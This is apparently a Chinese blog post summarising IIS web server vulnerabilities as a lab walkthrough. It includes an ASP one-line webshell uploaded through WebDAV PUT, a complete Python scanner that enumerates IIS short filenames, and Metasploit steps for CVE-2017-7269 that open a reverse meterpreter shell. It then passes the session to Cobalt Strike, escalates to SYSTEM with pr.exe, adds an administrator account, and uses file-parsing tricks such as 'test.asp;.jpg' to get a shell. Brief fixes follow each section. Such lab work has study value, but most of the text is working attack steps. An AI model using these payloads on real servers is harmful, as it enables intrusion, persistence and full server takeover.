IIS中间件漏洞总结

IIS简介

IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。最初是Windows NT版本的可选包,随后内置在Windows 2000、Windows XP Professional和Windows Server 2003一起发行,但在Windows XP Home版本上并没有IIS。

IIS是一种Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器,分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。

IIS的安全脆弱性曾长时间被业内诟病,一旦IIS出现远程执行漏洞威胁将会非常严重。远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码,可以导致IIS服务器所在机器蓝屏或读取其内存中的机密数据。

IIS 6.0:可解析后缀:.asa .cer .cdx .asp等脚本文件

PUT漏洞

漏洞产生原因

WEB服务器扩展里设置WebDAV为允许;网站权限配置开启了写入权限与脚本资源访问权限。

WebDAV(Web-based Distributed Authoring and Versioning)一种基于HTTP1.1协议的通信协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。

漏洞危害

任意文件上传

漏洞复现

实验环境使用windows server2003+iis6.0
环境下载链接:https://pan.baidu.com/s/1KOO7MkwIDpWAqbMMNSddzg 提取码:5sia
开机密码123456

该靶机环境已经配置好了,其中WebDAV已经开启
1594541644418

该靶机ip为192.168.102.62

1594541678355

使用nikto扫描一下该网址

1
nikto -h http://192.168.102.62

1594541797109

该服务器支持PUT请求,并且允许客户端将文件保存在Web服务器上
通过burp进行抓包,将GET请求改为PUT,并且后面接上写入文件的名字,数据包最下面为写入文件的内容

1594542275421

写入成功
1594542300535

写入一句话木马

1
<%eval request("chopper")%>

1594544702817

使用MOVE或者COPY请求将其改为asp文件

1594544803770

1594544836720

蚁剑连接即可获得shell

1594544991726

修复方案

关闭WebDAV服务
使用相关的防护设备

短文件名猜解漏洞

漏洞产生原因

为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短 文件名,而生成的短文件名符合一定的规律,可以被暴力猜解。

漏洞危害

  • 猜解后台地址

  • 猜解敏感文件,例如备份的rar、zip、.bak、.SQL文件等,在某些情形下,甚至可以通过短文件名web直接下 载对应的文件。比如下载备份SQL文件。

漏洞原理

这里需要用到通配符,在windows中,可以匹配n个字符,n可以为0。判断某站点是否存在IIS短文件名暴力破解漏 洞,可以分别访问如下两个URL:

1
2
3
http://localhost/*~1*/a.aspx 

http://localhost/cyzcc*~1*/a.aspx

短文件名特征:
只显示前6位的字符,后续字符用~1代替。其中数字1可以递增。如果存在文件名类似的文件,则前面的6个字符是相同的,后面的数字进行递增

如果访问第一个URL,返回404。而访问第二个URL,返回400。 则目标站点存在漏洞

漏洞复现

复现需要添加组件APS.NET,方法如下:

  • 在运行 Windows Server 2003 的服务器中使用”添加或删除程序”安装 ASP.NET
      
    1)从”开始”菜单中,指向”控制面板”,然后单击”添加或删除程序”。
      2)在"添加或删除程序"对话框中,单击"添加/删除 Windows 组件"。
      3)在"Windows 组件"向导中的"组件"中,选中"应用程序服务器"复选框,然后单击"下一步"。
      4)当在"Windows 组件"向导中完成对 Windows Server 2003 的配置时,单击"完成"。

1594633978039

配置好之后我们可以使用命令dir /x来确定漏洞存在。如过存在短文件名,则确定漏洞存在

1594549873941

先在网站根目录下创建几个长文件名
1594634713197

当访问一个存在的文件名时,浏览器返回404

1594634847699

当访问一个不存在的文件名时,浏览器返回400
1594634900796

自动化扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
import sys
import httplib
import urlparse
import threading
import Queue
import time

class Scanner():
def __init__(self, target):
self.target = target.lower()
if not self.target.startswith('http'):
self.target = 'http://%s' % self.target
self.scheme, self.netloc, self.path, params, query, fragment = \
urlparse.urlparse(target)
if self.path[-1:] != '/': # ends with slash
self.path += '/'
self.alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789_-'
self.files = []
self.dirs = []
self.queue = Queue.Queue()
self.lock = threading.Lock()
self.threads = []
self.request_method = ''
self.msg_queue = Queue.Queue()
self.STOP_ME = False
threading.Thread(target=self._print).start()

def _conn(self):
try:
if self.scheme == 'https':
conn = httplib.HTTPSConnection(self.netloc)
else:
conn = httplib.HTTPConnection(self.netloc)
return conn
except Exception, e:
print '[_conn.Exception]', e
return None

def _get_status(self, path):
try:
conn = self._conn()
conn.request(self.request_method, path)
status = conn.getresponse().status
conn.close()
return status
except Exception, e:
raise Exception('[_get_status.Exception] %s' % str(e) )

def is_vul(self):
try:
for _method in ['GET', 'OPTIONS']:
self.request_method = _method
status_1 = self._get_status(self.path + '/*~1*/a.aspx') # an existed file/folder
status_2 = self._get_status(self.path + '/l1j1e*~1*/a.aspx') # not existed file/folder
if status_1 == 404 and status_2 != 404:
return True
return False
except Exception, e:
raise Exception('[is_vul.Exception] %s' % str(e) )

def run(self):
for c in self.alphanum:
self.queue.put( (self.path + c, '.*') ) # filename, extension
for i in range(20):
t = threading.Thread(target=self._scan_worker)
self.threads.append(t)
t.start()
for t in self.threads:
t.join()
self.STOP_ME = True

def report(self):
print '-'* 64
for d in self.dirs:
print 'Dir: %s' % d
for f in self.files:
print 'File: %s' % f
print '-'*64
print '%d Directories, %d Files found in total' % (len(self.dirs), len(self.files))
print 'Note that * is a wildcard, matches any character zero or more times.'

def _print(self):
while not self.STOP_ME or (not self.msg_queue.empty()):
if self.msg_queue.empty():
time.sleep(0.05)
else:
print self.msg_queue.get()

def _scan_worker(self):
while True:
try:
url, ext = self.queue.get(timeout=1.0)
status = self._get_status(url + '*~1' + ext + '/1.aspx')
if status == 404:
self.msg_queue.put('[+] %s~1%s\t[scan in progress]' % (url, ext))

if len(url) - len(self.path)< 6: # enum first 6 chars only
for c in self.alphanum:
self.queue.put( (url + c, ext) )
else:
if ext == '.*':
self.queue.put( (url, '') )

if ext == '':
self.dirs.append(url + '~1')
self.msg_queue.put('[+] Directory ' + url + '~1\t[Done]')

elif len(ext) == 5 or (not ext.endswith('*')): # .asp*
self.files.append(url + '~1' + ext)
self.msg_queue.put('[+] File ' + url + '~1' + ext + '\t[Done]')

else:
for c in 'abcdefghijklmnopqrstuvwxyz0123456789':
self.queue.put( (url, ext[:-1] + c + '*') )
if len(ext) < 4: # < len('.as*')
self.queue.put( (url, ext[:-1] + c) )

except Queue.Empty,e:
break
except Exception, e:
print '[Exception]', e

if __name__ == '__main__':
if len(sys.argv) == 1:
print 'Usage: python IIS_shortname_Scan.py http://www.target.com/'
sys.exit()

target = sys.argv[1]
s = Scanner(target)
if not s.is_vul():
s.STOP_ME = True
print 'Server is not vulnerable'
sys.exit(0)

print 'Server is vulnerable, please wait, scanning...'
s.run()
s.report()

1594635025860

漏洞修复

  • 升级.net framework

  • 修改注册表键值:

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem

    修改NtfsDisable8dot3NameCreation为1。再新建文件夹,将原网站目录内容拷贝进入新建的文件夹,使用 新建的文件夹作为网站目录。

远程命令执行漏洞

产生原因

当IIS6.0 开启了WebDav协议(开启PROPFIND协议)时存在此漏洞,缓冲区溢出导致远程命令执行。

漏洞检测

基于版本,windowsserver2003 R2+iis6.0+开启PROPFIND协议的服务器存在此漏洞。

漏洞危害

可以获取服务器shell

漏洞复现

靶机环境:windows server2003+iis6.0

下载exp: git clone https://github.com/Al1ex/CVE-2017-7269

复制cve-2017-7269.rb到相应的目录下面:

1
2
cp cve_2017_7269.rb  /usr/share/metasploit-framework/modules/exploits/windows/iis/cve_2017_7269.rb
#这里需要将cve-2017-7269.rb改为cve_2017_7269.rb,否则会报错

msf更新后自带exploit/windows/iis/iis_webdav_scstoragepathfromurl模块,但是试了很久都没有成功

1
2
3
4
5
6
7
8
use  exploits/windows/iis/cve_2017_7269
set httphost 192.168.102.137
set rhosts 192.168.102.137
set physicalpathlength 19
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.102.128
set lport 4444
run

其中physicalpathlength为网站路径,默认为19,也可通过爆破来得到长度
参考文章:https://xz.aliyun.com/t/6485#toc-9

1594644318564

成功获得shell
1594644338992

漏洞修复

关闭WebDAV服务
使用相应的防护软件
升级操作系统

本地提权漏洞

漏洞描述

IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁。

影响版本

Windows 2003 R2开启WebDAV服务的IIS6.0

漏洞复现

使用上面获得的shell,查看当前用户权限
1594715818472

在根目录创建一个文件夹用来放提权相关文件,之后在meterpreter上传pr.exe

其下载地址 为:https://github.com/klsfct/getshell/blob/master/MS09-012/pr.exe
开始下载错了,卡了很久

1594716059053

在msf里面执行命令会产生乱码,这里将msf权限派生到cobaltstrike
使用msf中的 exploit/windows/local/payload_inject模块

1
2
3
4
5
6
7
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true #默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于已经有了一个不需要再产生一个,所以这里设置为true
set lhost xxxx #cobaltstrike监听的ip
set lport xxxx #cobaltstrike监听的端口
set session 1 #这里是当前获得的sessionid
exploit

1594716873116

上线之后发现可以直接使用ms14-058进行提取
1594717065348

------------------------------------

上传完成后执行pr.exe whoami即可得到一个system权限

1594725567419

执行net user admin admin /add创建用户显示拒绝访问
执行pr.exe "net user admin admin /add"创建成功
1594729147261

之后将新创建的用户添加到管理员组

pr.exe "net localgroup administrators admin /add"

1594729185270

查看Administrator组用户net localgroup Administrators
1594729252421

这个靶机开放了3389端口,可以直接远程桌面连接
1594729890670

如果未开放3389端口,可以上传一个3389.bat即可

漏洞修复

关闭WebDAV服务

使用相应的防护软件

升级操作系统

解析漏洞

IIS 6.x

产生原因:IIS6.0在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞;

漏洞利用:

  • 新建一个名为“test.asp”的目录,该目录下的任何文件都作为asp程序执行(特殊符号是”/“)

  • 上传名为“test.asp;.jpg”的文件,虽然该文件真正的后缀名是”.jpg”,但由于含有特殊符号“;”,仍然会被IIS作为 asp程序执行。

产生影响:该解析漏洞可以使得入侵者绕过服务端的检测,进而getshell。

漏洞修复:

做好权限设置,限制用户创建文件夹。
可以通过自己编写正则,阻止上传 xx.asp;.jpg等类型的文件名
安装相应的防护软件

IIS 7.0/7.5

IIS 7.0/7.5:可解析后缀:.asa .cer .cdx .asp等脚本文件

产生原因:由于php配置文件中,默认开启了cgi.fifix_pathinfo=1,PHP CGI会以 / 为分隔符号从后向前依次检查, 直到找到某个存在的文件,便把该文件作为php程序执行。

利用方式:

  • 上传图片木马test.jpg后直接访问*/test.jpg/.php,以php的方式解析执行。

  • 在shell.jpg的文件中写入php代码(当执行该文件的时候自动创建一个shell.php的一句话木马),然后直

接访问*/shell.jpg/.php,以php的方式解析运行,此时shell.php就会被创建。可getshell。

漏洞危害:该解析漏洞可以使得入侵者绕过服务端的检测,进而getshell。

漏洞修复:

关闭cgi.fifix_pathinfo,令cgi.fifix_pathinfo为0;

图片上传目录不给执行权限;

升级php-fpm、nginx;

安装相应的防护软件

参考文章

https://www.ghtwf01.cn/index.php/archives/377/#menu_index_8

https://blog.csdn.net/Fly_hps/article/details/80305512

文章作者:CyzCc
最后更新:2020年07月14日 21:07:40
原始链接:https://cyzcc.vip/2020/07/14/iiszhong-jian-jian/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------